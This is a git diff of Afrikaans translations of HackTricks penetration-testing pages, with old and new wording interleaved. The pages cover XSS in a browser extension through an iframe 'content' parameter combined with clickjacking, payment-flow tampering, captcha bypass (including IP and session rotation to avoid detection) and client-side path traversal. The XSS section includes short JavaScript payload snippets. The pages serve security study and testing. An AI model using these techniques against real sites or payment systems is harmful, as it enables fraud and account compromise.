'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
@ -48,13 +49,13 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
'n Oormatig toegeeflike Inhoudsveiligheidsbeleid soos:
'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
maak die uitvoering van JavaScript moontlik, wat die stelsel vatbaar maak vir XSS-aanvalle.
laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle.
'n Alternatiewe benadering om die XSS uit te lok, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die `content`-parameter in te sluit:
'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die `content` parameter in te sluit:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
@ -63,9 +64,9 @@ document.body.append(newFrame);
```
## DOM-gebaseerde XSS + ClickJacking
Hierdie voorbeeld is geneem uit die [oorspronklike pos skryfwerk](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Hierdie voorbeeld is geneem uit die [oorspronklike pos skrywe](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid wat geleë is in **`/html/bookmarks.html`**. Die problematiese JavaScript, deel van **`bookmarks.js`**, word hieronder beskryf:
Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in **`/html/bookmarks.html`**. Die problematiese JavaScript, deel van **`bookmarks.js`**, word hieronder uiteengesit:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
@ -82,13 +83,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Hierdie stukkie haal die **waarde** uit die **`txtName`** invoerveld en gebruik **string-konkatenasie om HTML te genereer**, wat dan aan die DOM geheg word deur gebruik te maak van jQuery se `.append()` funksie.
This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuerys `.append()` function.
Normaalweg sal die Chrome-uitbreiding se Inhoudsbeveiligingsbeleid (CSP) sulke kwesbaarhede voorkom. Tog is uitbuiting steeds moontlik as gevolg van **CSP-verslapping met 'unsafe-eval'** en die gebruik van jQuery se DOM-manipulasie-metodes (wat [`globalEval()`](https://api.jquery.com/jquery.globaleval/) gebruik om skripte na [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) te stuur by DOM-invoeging).
Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van **CSP verslapping met unsafe-eval** en die gebruik van jQuery se DOM manipulasie metodes (wat [`globalEval()`](https://api.jquery.com/jquery.globaleval/) gebruik om skripte aan [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik.
Hoewel hierdie kwesbaarheid betekenisvol is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die besoek aan die bladsy, die invoer van 'n XSS-lading en die aktivering van die "Voeg by" knoppie.
Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer.
Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking**-kwesbaarheid uitgebuit. Die manifest van die Chrome-uitbreiding toon 'n uitgebreide `web_accessible_resources`-beleid:
Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide `web_accessible_resources` beleid:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -98,23 +99,24 @@ Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking**-kwesbaa
[...]
],
```
Veral die **`/html/bookmarks.html`** bladsy is vatbaar vir framing en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word gebruik om die bladsy binne 'n aanvaller se webwerf te rame, en dit te oorlê met DOM-elemente om die koppelvlak bedrieglik te herontwerp. Hierdie manipulasie lei slagoffers om onbedoeld met die onderliggende uitbreiding te interaksieer.
Notabel is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daardeur dat slagoffers onbewustelik met die onderliggende uitbreiding interaksie het.
## Verwysings
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Bypass Betalingsproses
# Bypass Payment Process
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,32 +23,53 @@ Ander maniere om HackTricks te ondersteun:
***
## Bypass Betalings Tegnieke
## Payment Bypass Techniques
### Versoek Onderskepping
Tydens die transaksieproses is dit noodsaaklik om die data wat uitgeruil word tussen die klient en die bediener te monitor. Dit kan gedoen word deur alle versoek te onderskep. Binne hierdie versoek moet jy let op parameters met beduidende implikasies, soos:
### Request Interception
Tydens die transaksieproses is dit noodsaaklik om die data wat tussen die kliënt en die bediener uitgewissel word, te monitor. Dit kan gedoen word deur alle versoeke te onderskep. Binne hierdie versoeke, let op vir parameters met beduidende implikasies, soos:
- **Sukses**: Hierdie parameter dui dikwels die status van die transaksie aan.
- **Verwysingsbron**: Dit kan dui op die bron waarvandaan die versoek afkomstig is.
- **Terugroep**: Dit word gewoonlik gebruik om die gebruiker na 'n voltooide transaksie om te lei.
- **Success**: Hierdie parameter dui dikwels die status van die transaksie aan.
- **Referrer**: Dit kan na die bron verwys waarvandaan die versoek ontstaan het.
- **Callback**: Dit word tipies gebruik om die gebruiker te herlei nadat 'n transaksie voltooi is.
### URL-analise
As jy 'n parameter raakloop wat 'n URL bevat, veral een wat die patroon _voorbeeld.com/betaling/MD5HASH_ volg, vereis dit noukeurige ondersoek. Hier is 'n stap-vir-stap benadering:
### URL Analysis
As jy 'n parameter teëkom wat 'n URL bevat, veral een wat die patroon _example.com/payment/MD5HASH_ volg, benodig dit nader ondersoek. Hier is 'n stap-vir-stap benadering:
1. **Kopieer die URL**: Haal die URL uit die parameterwaarde.
2. **Nuwe Venster Inspeksie**: Maak die gekopieerde URL oop in 'n nuwe blaaier-venster. Hierdie aksie is krities vir die begrip van die transaksie se uitkoms.
1. **Kopieer die URL**: Trek die URL uit die parameterwaarde.
2. **Nuwe Venster Inspeksie**: Open die gekopieerde URL in 'n nuwe blaaiervenster. Hierdie aksie is krities om die uitkoms van die transaksie te verstaan.
### Parametermanipulasie
1. **Verander Parameterwaardes**: Eksperimenteer deur die waardes van parameters soos _Sukses_, _Verwysingsbron_, of _Terugroep_ te verander. Byvoorbeeld, die verandering van 'n parameter van `vals` na `waar` kan soms onthul hoe die stelsel hierdie insette hanteer.
2. **Verwyder Parameters**: Probeer om sekere parameters heeltemal te verwyder om te sien hoe die stelsel reageer. Sommige stelsels mag terugvalle of verstekgedrag hê wanneer verwagte parameters ontbreek.
### Parameter Manipulation
1. **Verander Parameterwaardes**: Eksperimenteer deur die waardes van parameters soos _Success_, _Referrer_, of _Callback_ te verander. Byvoorbeeld, om 'n parameter van `false` na `true` te verander, kan soms onthul hoe die stelsel hierdie insette hanteer.
2. **Verwyder Parameters**: Probeer om sekere parameters heeltemal te verwyder om te sien hoe die stelsel reageer. Sommige stelsels mag terugval of standaardgedrag hê wanneer verwagte parameters ontbreek.
### Koekie-manipulasie
1. **Ondersoek Koekies**: Baie webwerwe stoor belangrike inligting in koekies. Inspekteer hierdie koekies vir enige data wat verband hou met betalingsstatus of gebruikeroutentifisering.
2. **Verander Koekiewaardes**: Verander die waardes wat in die koekies gestoor word en let op hoe die webwerf se reaksie of gedrag verander.
### Cookie Tampering
1. **Ondersoek Koekies**: Baie webwerwe stoor noodsaaklike inligting in koekies. Inspekteer hierdie koekies vir enige data wat verband hou met betalingsstatus of gebruikersverifikasie.
2. **Verander Koekiewaardes**: Verander die waardes wat in die koekies gestoor is en observeer hoe die webwerf se reaksie of gedrag verander.
### Sessie-kaap
1. **Sessie-tokens**: As sessie-tokens gebruik word in die betalingsproses, probeer om hulle vas te vang en te manipuleer. Dit kan insigte gee in sessiebestuurskwetsbaarhede.
### Session Hijacking
1. **Sessie Tokens**: As sessie tokens in die betalingsproses gebruik word, probeer om hulle te vang en te manipuleer. Dit kan insigte gee in kwesbaarhede in sessiebestuur.
### Reaksie-manipulasie
1. **Onderskep Reaksies**: Gebruik gereedskap om die reaksies van die bediener te onderskep en te analiseer. Soek na enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
2. **Verander Reaksies**: Probeer om die reaksies te verander voordat hulle deur die blaaier of die aansoek verwerk word om 'n suksesvolle transaksiesenario na te boots.
### Response Tampering
1. **Intercept Responses**: Gebruik gereedskap om die antwoorde van die bediener te onderskep en te analiseer. Soek vir enige data wat 'n suksesvolle transaksie kan aandui of die volgende stappe in die betalingsproses kan onthul.
2. **Modify Responses**: Probeer om die antwoorde te verander voordat hulle deur die blaaiervenster of die toepassing verwerk word om 'n suksesvolle transaksiescenario te simuleer.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,63 +1,65 @@
# Captcha Oorbrugging
# Captcha Bypass
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Captcha Oorbrugging
## Captcha Bypass
Om die captcha tydens **bedienertoetsing** te **oorbrug** en gebruikersinvoerfunksies te outomatiseer, kan verskeie tegnieke gebruik word. Die doel is nie om die sekuriteit te ondermyn nie, maar om die toetsproses te stroomlyn. Hier is 'n omvattende lys van strategieë:
Om die **captcha** tydens **server toetsing** te **omseil** en gebruikersinvoervunksies te outomatiseer, kan verskeie tegnieke gebruik word. Die doel is nie om sekuriteit te ondermyn nie, maar om die toetsproses te stroomlyn. Hier is 'n omvattende lys van strategieë:
1. **Parameter Manipulasie**:
* **Omit die Captcha Parameter**: Vermy om die captcha parameter te stuur. Eksperimenteer met die verandering van die HTTP-metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos skakeling tussen vormdata en JSON.
* **Stuur 'n Leë Captcha**: Dien die versoek in met die captcha parameter teenwoordig maar leeg gelaat.
* **Omkrap die Captcha Parameter**: Vermy om die captcha parameter te stuur. Eksperimenteer met die verandering van die HTTP metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos om tussen vormdata en JSON te wissel.
* **Stuur Leë Captcha**: Dien die versoek in met die captcha parameter teenwoordig maar leeggelaat.
2. **Waarde Uittrekking en Hergebruik**:
* **Bronkode Inspeksie**: Soek na die captcha-waarde binne die bronkode van die bladsy.
* **Koekie-analise**: Ondersoek die koekies om te sien of die captcha-waarde gestoor en hergebruik word.
* **Hergebruik Oue Captcha-waardes**: Probeer om vorige suksesvolle captcha-waardes weer te gebruik. Onthou dat hulle enige tyd kan verval.
* **Sessie Manipulasie**: Probeer om dieselfde captcha-waarde oor verskillende sessies of dieselfde sessie-ID te gebruik.
* **Bronkode Inspeksie**: Soek na die captcha waarde binne die bladsy se bronkode.
* **Koekie Analise**: Ondersoek die koekies om te vind of die captcha waarde gestoor en hergebruik word.
* **Hergebruik Ou Captcha Waardes**: Probeer om voorheen suksesvolle captcha waardes weer te gebruik. Hou in gedagte dat hulle enige tyd kan verval.
* **Sessie Manipulasie**: Probeer om dieselfde captcha waarde oor verskillende sessies of dieselfde sessie-ID te gebruik.
3. **Outomatisering en Herkenning**:
* **Wiskundige Captchas**: As die captcha wiskundige bewerkings behels, outomatiseer die berekeningsproses.
* **Beeldherkenning**:
* Vir captchas wat vereis dat karakters van 'n beeld gelees word, bepaal handmatig of programmaties die totale aantal unieke beelde. As die stel beperk is, kan jy elke beeld identifiseer aan die hand van sy MD5-hash.
* Maak gebruik van Optiese Karakterherkenning (OCR) gereedskap soos [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) om karakters outomaties van beelde te lees.
3. **Outomatisering en Erkenning**:
* **Wiskundige Captchas**: As die captcha wiskundige operasies behels, outomatiseer die berekeningsproses.
* **Beeld Erkenning**:
* Vir captchas wat vereis om karakters uit 'n beeld te lees, bepaal handmatig of programmaties die totale aantal unieke beelde. As die stel beperk is, kan jy elke beeld identifiseer deur sy MD5-hash.
* Gebruik Optiese Karakter Erkenning (OCR) gereedskap soos [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) om karakterlees uit beelde te outomatiseer.
4. **Addisionele Tegnieke**:
* **Tempo Beperkingstoetsing**: Kyk of die aansoek die aantal pogings of indienings binne 'n gegewe tydperk beperk en of hierdie limiet oorgeslaan of herstel kan word.
* **Derdeparty Dienste**: Maak gebruik van captcha-oplossingsdienste of API's wat outomatiese captcha-herkenning en -oplossing bied.
* **Sessie en IP Rotasie**: Verander gereeld sessie-ID's en IP-adresse om opsporing en blokkering deur die bediener te vermy.
* **Gebruiker-Agent en Koperverandering**: Verander die Gebruiker-Agent en ander versoekkoppe om verskillende webblaaier of toestelle na te boots.
* **Audio Captcha-analise**: As 'n klankcaptcha-opsie beskikbaar is, gebruik spraak-na-teksgereedskappe om die captcha te interpreteer en op te los.
* **Tarief Limiet Toetsing**: Kyk of die toepassing die aantal pogings of indienings in 'n gegewe tydraamwerk beperk en of hierdie limiet omseil of teruggestel kan word.
* **Derdeparty Dienste**: Gebruik captcha-oplossingsdienste of API's wat outomatiese captcha erkenning en oplossing bied.
* **Sessie en IP Rotasie**: Verander gereeld sessie-ID's en IP adresse om opsporing en blokkering deur die bediener te vermy.
* **User-Agent en Header Manipulasie**: Verander die User-Agent en ander versoekheaders om verskillende blaaiers of toestelle na te boots.
* **Klank Captcha Analise**: As 'n klank captcha opsie beskikbaar is, gebruik spraak-naar-teks dienste om die captcha te interpreteer en op te los.
## Aanlyn Dienste om captchas op te los
### [Capsolver](https://www.capsolver.com/)
Capsolver se outomatiese captcha-oplosser bied 'n **bekostigbare en vinnige captcha-oplossing**. Jy kan dit vinnig met jou program kombineer deur sy eenvoudige integrasie-opsie te gebruik om die beste resultate binne sekondes te behaal. Dit kan reCAPTCHA V2 en V3, hCaptcha, FunCaptcha, datadome, aws captcha, prent-na-tekss, binance / coinmarketcap captcha, geetest v3, en meer oplos. Dit is egter nie 'n oorbrugging per se nie.
Capsolver se outomatiese captcha-oplosser bied 'n **bekostigbare en vinnige captcha-oplossingsoplossing**. Jy kan dit vinnig met jou program kombineer deur sy eenvoudige integrasie opsie om die beste resultate in 'n paar sekondes te bereik. Dit kan reCAPTCHA V2 en V3, hCaptcha, FunCaptcha, datadome, aws captcha, beeld-naar-teks, binance / coinmarketcap captcha, geetest v3, en meer oplos. Dit is egter nie 'n omseiling per se nie.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# Kliëntkant Padvlegting
# Kliëntkant Pad Traversal
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
'n Kliëntkant padvlegting vind plaas wanneer jy die pad van 'n URL kan **manipuleer** wat aan 'n gebruiker gestuur gaan word om op 'n legitieme manier te besoek, of wat 'n gebruiker op een of ander manier **gedwing gaan word om te besoek, byvoorbeeld via JS of CSS**.
'n Kliëntkant pad traversal gebeur wanneer jy die **pad van 'n URL** kan **manipuleer** wat **gestuur gaan word na 'n gebruiker om op 'n regte manier te besoek** of dat 'n gebruiker op een of ander manier **gedwonge gaan word om te besoek byvoorbeeld via JS of CSS**.
In [**hierdie verslag**](https://erasec.be/blog/client-side-path-manipulation/), was dit moontlik om die uitnodigings-URL te **verander** sodat dit uiteindelik 'n kaart **gekanselleer** het.
In [**hierdie skrywe**](https://erasec.be/blog/client-side-path-manipulation/), was dit moontlik om die **uitnodigings-URL** te **verander** sodat dit sou eindig met **die kansellasie van 'n kaart**.
In [**hierdie verslag**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), was dit moontlik om 'n **kliëntkant padvlegting via CSS** te kombineer (dit was moontlik om die pad waar 'n CSS-hulpbron gelaai is vanaf te verander) met 'n **oop omleiding** om die CSS-hulpbron vanaf 'n **aanvaller-beheerde domein** te laai.
In [**hierdie skrywe**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), was dit moontlik om 'n **kliëntkant pad traversal via CSS** (dit was moontlik om die pad te verander waar 'n CSS hulpbron gelaai is) te kombineer met 'n **oop omleiding** om die CSS hulpbron van 'n **aanvaller beheerde domein** te laai.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
